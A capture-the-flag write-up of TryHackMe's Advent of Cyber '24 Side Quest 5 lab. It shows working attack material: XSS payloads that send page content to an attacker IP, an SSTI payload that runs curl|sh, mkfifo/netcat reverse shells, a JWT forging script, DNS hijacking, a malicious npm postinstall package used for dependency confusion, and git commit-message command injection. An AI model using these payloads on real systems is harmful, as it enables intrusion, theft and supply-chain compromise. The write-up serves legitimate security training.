☕
Writeups
TryHackMeHackTheBoxReferralsDonateLinkedIn
  • Writeups
  • TryHackme
    • 2025
      • Security Footage
      • Ledger
      • Moebius
      • Mayhem
      • Robots
      • Billing
      • Crypto Failures
      • Rabbit Store
      • Decryptify
      • You Got Mail
      • Smol
      • Light
      • Lo-Fi
      • Silver Platter
    • 2024
      • Advent of Cyber '24 Side Quest
        • T1: Operation Tiny Frostbite
        • T2: Yin and Yang
        • T3: Escaping the Blizzard
        • T4: Krampus Festival
        • T5: An Avalanche of Web Apps
      • The Sticker Shop
      • Lookup
      • Mouse Trap
      • Hack Back
      • SeeTwo
      • Whiterose
      • Rabbit Hole
      • Mountaineer
      • Extracted
      • Backtrack
      • Brains
      • Pyrat
      • K2
        • Base Camp
        • Middle Camp
        • The Summit
      • The London Bridge
      • Cheese CTF
      • Breakme
      • CERTain Doom
      • TryPwnMe One
      • Hammer
      • U.A. High School
      • IronShade
      • Block
      • Injectics
      • DX2: Hell's Kitchen
      • New York Flankees
      • NanoCherryCTF
      • Publisher
      • W1seGuy
      • mKingdom
      • Airplane
      • Include
      • CyberLens
      • Profiles
      • Whats Your Name?
      • Capture Returns
      • TryHack3M
        • TryHack3M: Burg3r Bytes
        • TryHack3M: Bricks Heist
        • TryHack3M: Sch3Ma D3Mon
        • TryHack3M: Subscribe
      • Creative
      • Bypass
      • Clocky
      • El Bandito
      • Hack Smarter Security
      • Summit
      • Chrome
      • Exfilibur
      • Breaking RSA
      • Kitty
      • Reset
      • Umbrella
      • WhyHackMe
      • Dodge
    • 2023
      • Advent of Cyber '23 Side Quest
        • The Return of the Yeti
        • Snowy ARMageddon
        • Frosteau Busy with Vim
        • The Bandit Surfer
      • Stealth
      • AVenger
      • Dreaming
      • DockMagic
      • Hijack
      • Bandit
      • Compiled
      • Super Secret TIp
      • Athena
      • Mother's Secret
      • Expose
      • Lesson learned?
      • Grep
      • Crylo
      • Forgotten Implant
      • Red
    • Obscure
    • Capture
    • Prioritise
    • Weasel
    • Valley
    • Race Conditions
    • Intranet
    • Flip
    • Cat Pictures 2
    • Red Team Capstone Challenge
      • OSINT
      • Perimeter Breach
      • Initial Compromise of Active Directory
      • Full Compromise of CORP Domain
      • Full Compromise of Parent Domain
      • Full Compromise of BANK Domain
      • Compromise of SWIFT and Payment Transfer
  • HackTheBox
    • 2025
      • Certified
    • 2024
      • BoardLight
      • Crafty
      • Devvortex
      • Surveillance
      • Codify
      • Manager
      • Drive
      • Zipping
    • 2023
      • Topology
Powered by GitBook
On this page
  • L5 Keycard
  • Teardown Firewall
  • Recon
  • Flag 1 - Shell As Root On 172.16.1.3
  • Test For Blind XSS
  • Stealing Page Content
  • Create Wiki Entries And Test For SSTI
  • RCE via SSTI
  • Further Considerations
  • Flag 2 - Shell As Root On 172.16.1.2
  • Enum
  • Ligolo-ng Setup
  • Git Dump
  • Admint Analysis
  • Attack Path Analysis
  • Access To Admint Service
  • Configure DNS
  • Setup Verdaccio
  • Exploit
  • Flag 3 - Shell As User On Host
  • Flag 4 - Shell As Root On Host
  • Strange no --no-pager escape
  • GTFOBins

Was this helpful?

  1. TryHackme
  2. 2024
  3. Advent of Cyber '24 Side Quest

T5: An Avalanche of Web Apps

You got caught in the avalanche. I compromised most of your web applications without being detected. You can't compete with a leopard's speed.

PreviousT4: Krampus FestivalNextThe Sticker Shop

Last updated 4 months ago

Was this helpful?

The following post by 0xb0b is licensed under


L5 Keycard

We find the keycard for the fifth Side Quest hidden in the task of the 25th day of the TryHackMe Advent Of Cyber. In the following task, it gives us a hint to listen to the second peguins advices: The second penguin gave pretty solid advice. Maybe you should listen to him more.

Day 19: I merely noticed that you’re improperly stored, my dear secret!

The task itself is about game hacking and introduces us to frida-trace. However, when starting the application in the context of frida-trace, the function call _Z14create_keycardPkc() is immediately noticeable.

There is also a corresponding js file created by frida in __handlers__ after running the application with firda-trace, which was not there before.

We follow the hint and try to buy as much advice as possible from the second penguin. To do this, and to avoid having to update our coin count using the in-game PC, we use frida-trace to give the function a negative argument for the price. This allows us to buy as many advices as we want.

_Z17validate_purchaseiii.js
/*
 * Auto-generated by Frida. Please modify to match the signature of _Z17validate_purchaseiii.
 * This stub is currently auto-generated from manpages when available.
 *
 * For full API reference, see: https://frida.re/docs/javascript-api/
 */


defineHandler({
  onEnter(log, args, state) {
    log('_Z17validate_purchaseiii()');
    log('PARAMETER 1: '+ args[0]);
    log('PARAMETER 2: '+ args[1]);
    log('PARAMETER 3: '+ args[2]);
    args[1] = ptr(-31337);

  },

  onLeave(log, retval, state) {
      
  }
});

After several hints we get the following. A sequence that reminds us of the last appearance of Cyber Side Quest 2023.

We enter the sequence with the error keys and get the message incorrect password.

UP DOWN LEFT RIGHT DOWN DOWN UP UP RIGHT LEFT

Lets apply what we learned from the room and set the return value to true to bypass the password check. And after re-entering the sequence, we get a secret phrase, but no keycard.

_Z14create_keycardPKc.js
/*
 * Auto-generated by Frida. Please modify to match the signature of _Z14create_keycardPKc.
 * This stub is currently auto-generated from manpages when available.
 *
 * For full API reference, see: https://frida.re/docs/javascript-api/
 */

defineHandler({
  onEnter(log, args, state) {
    log('_Z14create_keycardPKc()');
    log("PARAMETER:" + Memory.readCString(args[0]));
  },

  onLeave(log, retval, state) {
     retval.replace(ptr(1));
     log("The return value is: " + retval);
  }
});

We could have found this sequence using strings on the binary.

We still need the keycard. Let us copy the TryUnlockMe binary and the corresponding libaocgame.so library to our attacker's machine. We can use netcat to do this:

We set up a listener on our machine that writes incoming data to the TryUnlockMe file:

nc -l -p 1234 > TryUnlockMe

Next, we write the data of the TryUnlockMe binary into the connection we are listening to on our target machine.

~/Desktop/TryUnlockMe$ nc -w 3 10.14.90.235 1234 < TryUnlockMe

We do it vice versa for the library. Set up a listener on the attacker machine to receive the data.

nc -l -p 1234 > libaocgame.so

And send the data of the file using netcat.

/usr/lib$ nc -w 3 10.14.90.235 1234 < libaocgame.so

We now have both files on our system.

We decompile both binaries with Binaryninja. We find nothing useful on the TryUnlockMe binary.

But in the libaocgame.so library we find a function to create the keycard.

By examining the function, we can see that it writes to a file.

Now that we have the library, we can use it in a C program to call the create_keycard() function to write the file to our system.

This C program was developed by Aquinas. All rights and credit are attributed to him:

extract.c
#include <stdio.h>
#include <dlfcn.h>
#include <stdint.h> // For uint64_t

// Typedef for the create_keycard function
typedef uint64_t (*createKeycard_t)(char *);

int main()
{
    // Path to the shared library
    const char *library_path = "./libaocgame.so";

    // Load the shared library
    void *handle = dlopen(library_path, RTLD_LAZY);
    if (!handle)
    {
        fprintf(stderr, "Error loading library: %s\n", dlerror());
        return 1;
    }

    // Clear any existing error
    dlerror();

    // Load the create_keycard function
    createKeycard_t createKeycard = (createKeycard_t)dlsym(handle, "_Z14create_keycardPKc");
    const char *error = dlerror();
    if (error != NULL)
    {
        fprintf(stderr, "Error loading function: %s\n", error);
        dlclose(handle);
        return 1;
    }

    // Prepare input parameter for the function
    char input[] = "one_two_three_four_five"; // C-style string

    // Call the create_keycard function
    uint64_t result = createKeycard(input);

    // Print the result
    printf("create_keycard returned: 0x%lx (%lu)\n", result, result);

    // Close the library
    dlclose(handle);

    return 0;
}

After compiling and running the program, we have the zip file, but it is password protected.

Fortunately, we retrieved a passphrase before from the game, which is the password for the zip file. After extracting it, we get the fifth keycard.

Teardown Firewall

We can deactivate the firewall with the password of the keycard. We can pass the value to a website on port 21337.

Recon

We start with an Nmap scan and find four other open ports in addition to port 21337. Port 22 SSH, port 53 dns and on port 80 and 3000 we have a web server. An Apache 2.4.58 web server on port 80 and a nodejs web server on port 3000.

nmap -p- -sT -T4 -v 10.10.177.37
nmap -sC -sV -p 22,53,80,3000 10.10.177.37 -T4

From the detailed Nmap version scan we can find a redirect to http://thehub.bestfestivalcompany.thm. We add this to our /etc/hosts for now.

thehub.bestfestivalcompany.thm
ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://bestfestivalcompany.thm/ -H "Host:FUZZ.bestfestivalcompany.thm" -fw 18

A scan for other VHOSTs will not return anything useful.

But there is a DNS server running on the machine. We use dig to query it for the A record of thehub.bestfestivalcompany.thm and find a different IP, 172.16.1.3.

dig A thehub.bestfestivalcompany.thm @10.10.177.37

Let us do some reverse lookups on the address range of 172.16.1.0. We find another entry for 172.16.1.2, its npm-registry.bestfestivalcompany.thm.

dig -x 172.16.1.2 @10.10.177.37

We are trying a DNS zone transfer for the domain bestfestivalcompany.thm on the DNS server. A DNS zone transfer allows DNS records to be replicated from a primary DNS server to a secondary DNS server. This allows us to discover multiple subdomains for bestfestivalcompany.thm.

dig axfr bestfestivalcompany.thm @10.10.177.37

We add these to our /etc/host file and re-enumerate.

bestfestivalcompany.thm
thehub-uat.bestfestivalcompany.thm
adm-int.bestfestivalcompany.thm
thehub.bestfestivalcompany.thm
thehub-int.bestfestivalcompany.thm
npm-registry.bestfestivalcompany.thm

At thehub-uat.bestfestivalcompany.thm on port 3000 we now find a website presenting a team. Scrolling down you can also find a contact form. But more about that later.

There is a Verdaccio instance running at npm-registry.bestfestivalcompany.thm. Verdaccio is a lightweight, open source, Node.js-based private npm registry that allows to host and manage own package repositories. Looks like this could be used later for something like a dependency confusion attack. But let's move on to the contact form we found.

Flag 1 - Shell As Root On 172.16.1.3

We go back to thehub-uat.bestfestivalcomapny.thm:3000 and test the contact form for some blind XSS.

Test For Blind XSS

To do this, we use a payload that connects back to our web server, and for each field and for each field we chose a different directory so that we can tell which field is vulnerable when someone checks the message we send.

http://thehub-uat.bestfestivalcomapny.thm:3000
<script src="http://10.14.90.235/message"></script>

We set up a Python web server and get a connection back for the message field.

python -m http.server 80

Stealing Page Content

Nice, we are now able to inject some XSS. To test different payloads, we will make a new contact request with the following payload, which will be loaded from our web server, so we do not need to make multiple requests and just change the content of the script.

<script src="http://10.14.90.235/script.js"></script>

With the following payload, we try to request the page the user is seeing on reviewing the contact we made, since we are not able to steal a cookie to get an authenticated session.

fetch("/", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

WA request is sent to our web server containing the content of the current page.

And we see that there are two more pages, /wiki and /contact-responses available.

We update the script.js to fetch the wiki page.

fetch("/wiki", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

And we see another link to /wiki/new to create a new wiki entry.

We will now try to get the contents of /wiki/new...

fetch("/wiki/new", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

... and see a form for submitting a request to create a new wiki entry. It is interesting to note that the content we can provide can be markdown.

Create Wiki Entries And Test For SSTI

With the following payload, we force the reviewer of our message to create a new wiki entry. While playing around, we test for other vulnerabilities. In our control we have the title and the markdownContent field values.

During testing, we also test some SSTI payloads such as the following

const formData = new URLSearchParams({
  title: "fooobar",
  markdownContent: "## This is a Markdown content example {{7*7}} #{7*7} ${7*8}"
});

fetch('/wiki', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: formData.toString(),
})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

With the post request we get a response back. A link to /wiki/1 was created.

We examine the wiki entry created...

fetch("/wiki/1", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

And see that our payload containing {{7*7}} fully errors, and on ${7*7} we see the * got substituted to </i>. The reason for {{7*7}} throwing an error might be that indeed SSTI is present, but the substitution takes place first, so {{7</i>7}} errors.

Lets test it with {{7+7}}, to see if + gets also substituted, or {{7+7}} evaluated.

const formData = new URLSearchParams({
  title: "fooobar",
  markdownContent: "## This is a Markdown content example {{7+7}} #{7*7} ${7*8}"
});

fetch('/wiki', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: formData.toString(),
})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

We get a response after creating a new wiki entry.

We fetch the new wiki entry.

fetch("/wiki/2", {method:'GET',mode:'no-cors',credentials:'same-origin'})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});

And we see, that {{7+7}} gets evaluated to 14. SSTI seems to be present.

RCE via SSTI

The next thing to try is a simple SSTI payload that downloads and executes a reverse shell.

require("child_process").exec("curl 10.14.90.235/shell|sh")
const formData = new URLSearchParams({
  title: "My New Wiki",
  markdownContent: `{{ ''.constructor.constructor('require("child_process").exec("curl 10.14.90.235/shell|sh")')() }}`
});

fetch('/wiki', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/x-www-form-urlencoded',
  },
  body: formData.toString(),
})
  .then(response => response.text())
  .then(text => {
fetch('http://10.14.90.235/?y=' + btoa(text), {mode:'no-cors'});
});
#!/bin/bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.14.90.235 4445 >/tmp/f

After adding the wiki entry we get a response back...

... and a connection back to our previously set up listner. We upgrade the shell.

We are on 172.16.1.3 a Docker container. The flag can be found in the container's root directory.

Further Considerations

The Verdaccio instance on npm-registry.bestfestivalcompany.thm does not only have some official packages. Scrolling through the list of available packages, there is one from McSkidy, a markdown converter. We can inspect the package and download the source.

Reviewing the source code, we could easily see the substitution taking place, converting the markdown to HTML and the potential risk of SSTI.

const vm = require('vm');

function markdownToHtml(markdown, context = {}) {
  let html = markdown
    .replace(/^# (.*$)/gim, '<h1>$1</h1>')
    .replace(/^## (.*$)/gim, '<h2>$1</h2>')
    .replace(/^### (.*$)/gim, '<h3>$1</h3>')
    .replace(/^\* (.*$)/gim, '<li>$1</li>')
    .replace(/\*\*(.*)\*\*/gim, '<b>$1</b>')
    .replace(/\*(.*)\*/gim, '<i>$1</i>');

  const dynamicCodeRegex = /\{\{(.*?)\}\}/g;
  html = html.replace(dynamicCodeRegex, (_, code) => {
    try {
      const sandbox = {
        ...context,
        require,
      };
      return vm.runInNewContext(code, sandbox);
    } catch (error) {
      return `<span style="color:red;">Error: ${error.message}</span>`;
    }
  });

  return html;
}

module.exports = { markdownToHtml };

Flag 2 - Shell As Root On 172.16.1.2

With a shell on 172.16.1.3, we start by enumerating the container to hopefully jump to another container or escape to the host.

Enum

In the /etc/host we can see that the current hostname matches up with the entry for 172.16.1.3...

Since we are in a docker container with the IP 172.16.1.3 we try to test if the other docker containers like 172.16.1.2 are reachable and if so, what services are running on them. For 172.16.1.2, we can detect four open ports with a static nmap binary.

We search for SSH keys, but do not find any. However, there is an entry in the authorized_keys file for the user git from fcdevhub.

We examine the various projects in /app/ and find a .git folder in the /app/bfc_thehubuat folder.

The config itself does not reveal anything useful for now. But lets try to dump the git and inspect it further.

Ligolo-ng Setup

For the subsequent phases, we use ligolo to relay traffic between the docker container and our attacker machine to make the internal and external services of the docker container accessible from the container to our attacker machine.

Ligolo-ng is a simple, lightweight and fast tool that allows pentesters to establish tunnels from a reverse TCP/TLS connection using a tun interface (without the need of SOCKS).

First, we set up a TUN (network tunnel) interface called ligolo and configuring routes to forward traffic for specific IP ranges (240.0.0.1, 172.16.1.0/24) through the tunnel.

                                                                                                                                                                                                   
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/aoc24/sq5]
└─$ sudo ip tuntap add user 0xb0b mode tun ligolo
[sudo] password for 0xb0b: 
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/aoc24/sq5]
└─$ sudo ip link set ligolo up 
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/aoc24/sq5]
└─$ sudo ip route add 240.0.0.1 dev ligolo
                                                                                                                                                                                                                 
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/aoc24/sq5]
└─$ sudo ip route add 172.16.1.0/24 dev ligolo
                                                

Next, we download the latest release of ligolo-ng. The proxy and the agent are in the amd64 version.

On our attack machine, we start the proxy server.

./proxy -selfcert 

Next, we run the agent on the target machine to connect to our proxy.

We get a message on our ligolo-ng proxy that an agent has joined. We use session to select the session and then start it.

We are now able to reach the machines on networks 172.16.1.0/24 and the machines services itself. We now start a python web server in the assets folder to make the .git folder available.

Git Dump

With the web server on the Docker container, which is now available via Ligolo-ng, we have the .git folder available and can dump the git repository using the gitdumper tool.

git-dumper http://172.16.1.3:9000/.git

We look at the history using git log and find some commits.

git log

We examine each commit with git show. On the second commit we see a deleted SSH key.

The first commit added this key and the public key.

With the following restore commands we are able to restore the keys. From the public key we are able to retrieve the possible user.

git restore --source aab6d70d2e79f0a99d960008bfa818d1e0fa3a60 -- assets/backups/backup.key

git restore --source aab6d70d2e79f0a99d960008bfa818d1e0fa3a60 -- assets/backups/backup.key.pub

We try to use this private key to log in as git via ssh to all possible docker containers available, but are successful with the host. The host is running gitolite3. Gitolite is an open source git repository hosting system and we see five readable repositories. Unfortunately git is not available on the docker container, so we have to continue on our host.

ssh -i gitdump/assets/backups/backup.key git@bestfestivalcompany.thm

We now get the repostories via git for further analysis.

GIT_SSH_COMMAND="ssh -i ../gitdump/assets/backups/backup.key" git clone git@bestfestivalcompany.thm:admdev
GIT_SSH_COMMAND="ssh -i ../gitdump/assets/backups/backup.key" git clone git@bestfestivalcompany.thm:admint
GIT_SSH_COMMAND="ssh -i ../gitdump/assets/backups/backup.key" git clone git@bestfestivalcompany.thm:bfcthehubint
GIT_SSH_COMMAND="ssh -i ../gitdump/assets/backups/backup.key" git clone git@bestfestivalcompany.thm:bfcthehubuat
GIT_SSH_COMMAND="ssh -i ../gitdump/assets/backups/backup.key" git clone git@bestfestivalcompany.thm:underconstruction

Admint Analysis

The service listens port 3000 and uses JWKS for authentication. Something we noticed on 172.16.1.2.

The JSON Web Key Set (JWKS) mechanism o that service periodically retrieves public keys from a remote server /jwks.json and validates the structure of the keys to ensure that they can be used to verify JWTs. When a JWT is received, it retrieves the corresponding public key from JWKS to verify the token's signature and authenticate the user. The token must contain the username mcskidy-adm and be signed with the values provided by jwks.json.

The peculiarity here seems to be that the JWKS is obtained from http://thehub-uat.bestfestivalcompany.thm:3000/jwks.json. We have already compromised this and found the jwks.json in the /assets folder.

Now that we have control of the JWKS, we can create our own token to authenticate to the service and use the features it provides.

After authentication we have the following three options:

restart-service

The restart-service funciton defines an Express route that allows restarting a service on a remote host via SSH. It expects host (the target machine) and service (the service name to restart) in the request body. The function authenticates the request using a token, creates a RemoteManager instance with SSH configuration, and calls its restartService method, returning success or error details as JSON.

modify-resolv

The modify-resolv function defines an Express route to modify the resolv.conf file on a remote host via SSH. It requires host (the target machine) and nameserver (the new nameserver entry) in the request body. The route authenticates the request, uses a RemoteManager instance to update the file, and responds with success or error details as JSON. We can use it to change the DNS server to be used for the target.

reinstall-node-modules

The reinstall-node-modules function defines an Express route to reinstall node_modules for a specific service on a remote host via SSH. It requires host (the target machine) and service (the target service) in the request body. The route authenticates the request, uses a RemoteManager instance to reinstall the dependencies, and responds with success or error details as JSON.

index.js
const express = require('express');
const bodyParser = require('body-parser');
const jwt = require('jsonwebtoken');
const axios = require('axios');
const RemoteManager = require('bfcadmin-remote-manager');
const fs = require('fs');
const { JWK } = require('node-jose');

const app = express();
const PORT = 3000;

app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));

let JWKS = null;

// Fetch JWKS
async function fetchJWKS() {
  try {
    console.log('Fetching JWKS...');
    const response = await axios.get('http://thehub-uat.bestfestivalcompany.thm:3000/jwks.json');
    const fetchedJWKS = response.data;

    if (validateJWKS(fetchedJWKS)) {
      JWKS = fetchedJWKS;
      console.log('JWKS validated and updated successfully.');
    } else {
      console.error('Invalid JWKS structure. Retaining the previous JWKS.');
    }
  } catch (error) {
    console.error('Failed to fetch JWKS:', error.message);
  }
}

// Validate JWKS
function validateJWKS(jwks) {
  if (!jwks || !Array.isArray(jwks.keys) || jwks.keys.length === 0) {
    return false;
  }

  for (const key of jwks.keys) {
    if (!key.kid || (!key.x5c && (!key.n || !key.e))) {
      return false;
    }
  }
  return true;
}

// Periodically fetch JWKS every 1 minute
setInterval(fetchJWKS, 60 * 1000);
fetchJWKS();

// Middleware to ensure JWKS is loaded
function ensureJWKSLoaded(req, res, next) {
  if (!JWKS || !JWKS.keys || JWKS.keys.length === 0) {
    return res.status(503).json({ error: 'JWKS not available. Please try again later.' });
  }
  next();
}

// Middleware to authenticate JWT
async function authenticateToken(req, res, next) {
  const token = req.headers.authorization?.split(' ')[1];
  if (!token) return res.status(401).json({ error: 'Unauthorized' });

  try {
    const key = JWKS.keys[0];
    let publicKey;

    if (key?.x5c) {
      publicKey = `-----BEGIN CERTIFICATE-----\n${key.x5c[0]}\n-----END CERTIFICATE-----`;
    } else if (key?.n && key?.e) {
      const rsaKey = await JWK.asKey({
        kty: key.kty,
        n: key.n,
        e: key.e,
      });
      publicKey = rsaKey.toPEM();
    } else {
      return res.status(500).json({ error: 'Public key not found in JWKS.' });
    }

    jwt.verify(token, publicKey, { algorithms: ['RS256'] }, (err, user) => {
      if (err || user.username !== 'mcskidy-adm') {
        return res.status(403).json({ error: 'Forbidden' });
      }
      req.user = user;
      next();
    });
  } catch (error) {
    res.status(500).json({ error: 'Failed to authenticate token.', details: error.message });
  }
}

// SSH configuration
const sshConfig = {
  host: '', // Supplied by the user in API requests
  port: 22,
  username: 'root',
  privateKey: fs.readFileSync('./root.key'),
  readyTimeout: 5000,
  strictVendor: false,
  tryKeyboard: true,
};

// Restart service
app.post('/restart-service', ensureJWKSLoaded, authenticateToken, async (req, res) => {
  const { host, service } = req.body;
  if (!host || !service) {
    return res.status(400).json({ error: 'Missing host or serviceName value.' });
  }

  try {
    const manager = new RemoteManager({ ...sshConfig, host });
    const output = await manager.restartService(service);
    res.json({ message: `Service ${service} restarted successfully`, output });
  } catch (error) {
    res.status(500).json({ error: 'Failed to restart service', details: error.message });
  }
});

// Modify resolv.conf
app.post('/modify-resolv', ensureJWKSLoaded, authenticateToken, async (req, res) => {
  const { host, nameserver } = req.body;
  if (!host || !nameserver) {
    return res.status(400).json({ error: 'Missing host or nameserver value.' });
  }

  try {
    const manager = new RemoteManager({ ...sshConfig, host });
    const output = await manager.modifyResolvConf(nameserver);
    res.json({ message: 'resolv.conf updated successfully', output });
  } catch (error) {
    res.status(500).json({ error: 'Failed to modify resolv.conf', details: error.message });
  }
});

// Reinstall Node.js modules
app.post('/reinstall-node-modules', ensureJWKSLoaded, authenticateToken, async (req, res) => {
  const { host, service } = req.body;
  if (!host || !service) {
    return res.status(400).json({ error: 'Missing host or service value.' });
  }

  try {
    const manager = new RemoteManager({ ...sshConfig, host });
    const output = await manager.reinstallNodeModules(service);
    res.json({ message: `Node modules reinstalled successfully for service ${service}`, output });
  } catch (error) {
    res.status(500).json({ error: 'Failed to reinstall node modules', details: error.message });
  }
});

// Start server
app.listen(PORT, () => {
  console.log(`Server running on http://localhost:${PORT}`);
});

Attack Path Analysis

Since we can replace the jwks.json file in /app/bfc_thehubuat/assets, we have control over the services. This allows us to change the DNS server for a target machine and reinstall its node js modules.

The idea now is to setup our own Verdaccio instance, to provide a malicious package, that when installed pops a reverse shell upon a new installation of modules.

We change the nameserver to be one in our control that resolves npm-registry.bestfestivalcompany.thm to the our Verdaccio instance.

Access To Admint Service

First, we get access to the service, by providing an own jwks.json. We recall the results from before.

http://thehub-uat.bestfestivalcompany.thm:3000/jwks.json

We retrieve the jwks.json currently in use from thehub-uat.bestfestivalcompany.thm.

We are also preparing a request to the service on 172.16.1.2:3000. This is still available via our ligolo-ng session. We make a simple get request and forward it to the Burp Suite repeater module.

There we change the request method to a POST request and make a first attempt. Without a valid Authorization Header we get the error Unauthorized.

Next, we create a Python script to generate a jwks file with a token containing the username mcskidy-adm.

jwtgen.py
import jwt
import json
import base64
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization

# Generate RSA key pair
def generate_rsa_key():
    private_key = rsa.generate_private_key(
        public_exponent=65537,
        key_size=2048
    )
    public_key = private_key.public_key()
    return private_key, public_key

# Export the public key in JWKS format
def generate_jwks(public_key):
    public_numbers = public_key.public_numbers()
    e = base64.urlsafe_b64encode(public_numbers.e.to_bytes(3, byteorder='big')).decode('utf-8').rstrip("=")
    n = base64.urlsafe_b64encode(public_numbers.n.to_bytes((public_numbers.n.bit_length() + 7) // 8, byteorder='big')).decode('utf-8').rstrip("=")

    jwk = {
        "keys": [
            {
                "kty": "RSA",
                "e": e,
                "use": "sig",
                "kid": f"sig-{hash(public_key)}",
                "alg": "RS256",
                "n": n
            }
        ]
    }
    return jwk

# Generate a JWT
def generate_jwt(private_key, payload, kid):
    headers = {
        "alg": "RS256",
        "typ": "JWT",
        "kid": kid
    }
    token = jwt.encode(payload, private_key, algorithm="RS256", headers=headers)
    return token

# Main logic
if __name__ == "__main__":
    private_key, public_key = generate_rsa_key()

    # Serialize private key for signing
    private_key_pem = private_key.private_bytes(
        encoding=serialization.Encoding.PEM,
        format=serialization.PrivateFormat.PKCS8,
        encryption_algorithm=serialization.NoEncryption()
    )

    # Generate JWKS
    jwks = generate_jwks(public_key)
    print("JWKS:")
    print(json.dumps(jwks, indent=4))

    # Generate JWT
    payload = {
        "username": "mcskidy-adm"
    }
    kid = jwks["keys"][0]["kid"]
    jwt_token = generate_jwt(private_key_pem, payload, kid)

    print("\nAuthorization Header:")
    print(f"Bearer {jwt_token}")

We run the script and use the output to create a new jwks.json file, and add the authorization header to our request.

The jwks.json looks like the following.

We simply remove the old one and fetch the new one from our web server.

After a minute, the JWKS parameters are refreshed and we can make an authorized request.

Configure DNS

Now we need to run and configure a DNS server. We will use dnsmasq.

sudo apt update
sudo apt install dnsmasq

We still let thehub-uat.bestfestivalcompany.thm resolve to 172.16.1.3, but npm-registry.bestfestivalcompany.thm resolve to our attacker's 10.14.90.235.

auth-ttl=60
auth-zone=bestfestivalcompany.thm
auth-server=bestfestivalcompany.thm # this option is required depending on dnsmasq version
# Disable any DHCP functionality (DNS only)
no-dhcp-interface=


host-record=thehub-uat.bestfestivalcompany.thm,172.16.1.3
host-record=npm-registry.bestfestivalcompany.thm,10.14.90.235
# Enable logging for debugging purposes
log-queries

Next, we restart the dnsmasq service,...

sudo systemctl restart dnsmasq

And test that it resolves correctly with the following command.

dig npm-registry.bestfestivalcompany.thm @127.0.01

Setup Verdaccio

Now we setup Verdaccio to provide a malicious package. We install Verdaccio.

npm install -g verdaccio

And run the an instance running on 0.0.0.0:4873 like the on on 172.16.1.2. (Detected via Nmap before)

verdaccio  --listen 0.0.0.0:4873

To publish new packages we need a user, which we can add with the following command. Some newer instances of npm require --auth-type=legacy.

npm adduser --registry http://localhost:4873 --auth-type=legacy

Exploit

We have almost everything prepared. We change the name server from 172.16.1.2 to ours with the following request to /modify-resolv.

{"host":"172.16.1.2","nameserver":"10.14.90.235"}

To test if this worked properly, we try to reinstall the modules. If we get a connection back to our Verdaccio instance, it worked.

{"host":"172.16.1.2","service":"admdev"}

We see some requests made to our verdaccio instance. We also see which modules will be reinstalled. So we have chosen one of them as our malicious package. But we also see that if we do not make the packages available locally, they will be fetched from https://registry.npmjs.org/.

To circumvent the fetch from https://registry.npmjs.org/ we edit our Verdaccio config.yaml file. There we have to comment out the following lines:

/home/0xb0b/.config/verdaccio/config.yaml
# uplinks:
#   npmjs:
#     url: https://registry.npmjs.org/

Then we prepare a package that will install a script. The package has the same name as one of the previously installed packages. The script contains our reverse shell.

package.json
{
  "name": "express",
  "version": "1.0.0",
  "main": "index.js",
  "scripts": {
    "postinstall": "node ./exploit.js"
  }
}
exploit.js
const { exec } = require('child_process');
exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.14.90.235 4446 >/tmp/f');

We publish the package.

npm publish --registry http://127.0.0.1:4873

And can inspect it on our Verdaccio instance.

We set up a listener on port 4445 and request for another reinstallation of the modules.

The Verdaccio will receive a connection back, but will stop after our package.

We get a connection back to our listener and we are root on 172.16.1.2.

The flag can be found in the root directory of the container.

Flag 3 - Shell As User On Host

In the /app/admint directory of the machine, we find another pair of keys.

We can use this key to connect to the host again, revealing some more repositories, which we now have write access to admdev. Forthermore hooks_wip looks like a promising repository.

We clone the hooks_wip repository.

GIT_SSH_COMMAND="ssh -i ../root.key" git clone git@bestfestivalcompany.thm:hooks_wip

In this we find a post-receive script, a git hook that logs commit messages or branch deletions to a specific file. The post-receive script is vulnerable to command injection because it interpolates commit_message directly into a bash -c command.

#!/bin/bash

LOGFILE="/home/git/gitolite-commit-messages.log"

while read oldrev newrev refname; do
    if [ "$newrev" != "0000000000000000000000000000000000000000" ]; then
        # Get the commit message
        commit_message=$(git --git-dir="$PWD" log -1 --format=%s "$newrev")
        bash -c "echo $(date) - Ref: $refname - Commit: $commit_message >> $LOGFILE"
    else
        # Log branch deletion
        bash -c "echo $(date) - Ref: $refname - Branch deleted >> $LOGFILE"
    fi
done

Let's check if this hook exists in the writeable repository webdav. We write something and add it. Next, we make a commit message containing a curl request to our web server in a command substitution and push the changes.

echo a > something
git add .
git commit -m '$(curl http://10.14.90.235/git)'
GIT_SSH_COMMAND="ssh -i ../../root.key" git push

After the push we get a connection back to our web server.

Now we change something again and this time we download and execute a reverse shell.

echo b > something
git add .
git commit -m '$(curl http://10.14.90.235/shell|sh)'
GIT_SSH_COMMAND="ssh -i ../../root.key" git push

Once we have pushed our changes we get a connection back to our web server.

... and to our listener. We are now user git on the host.

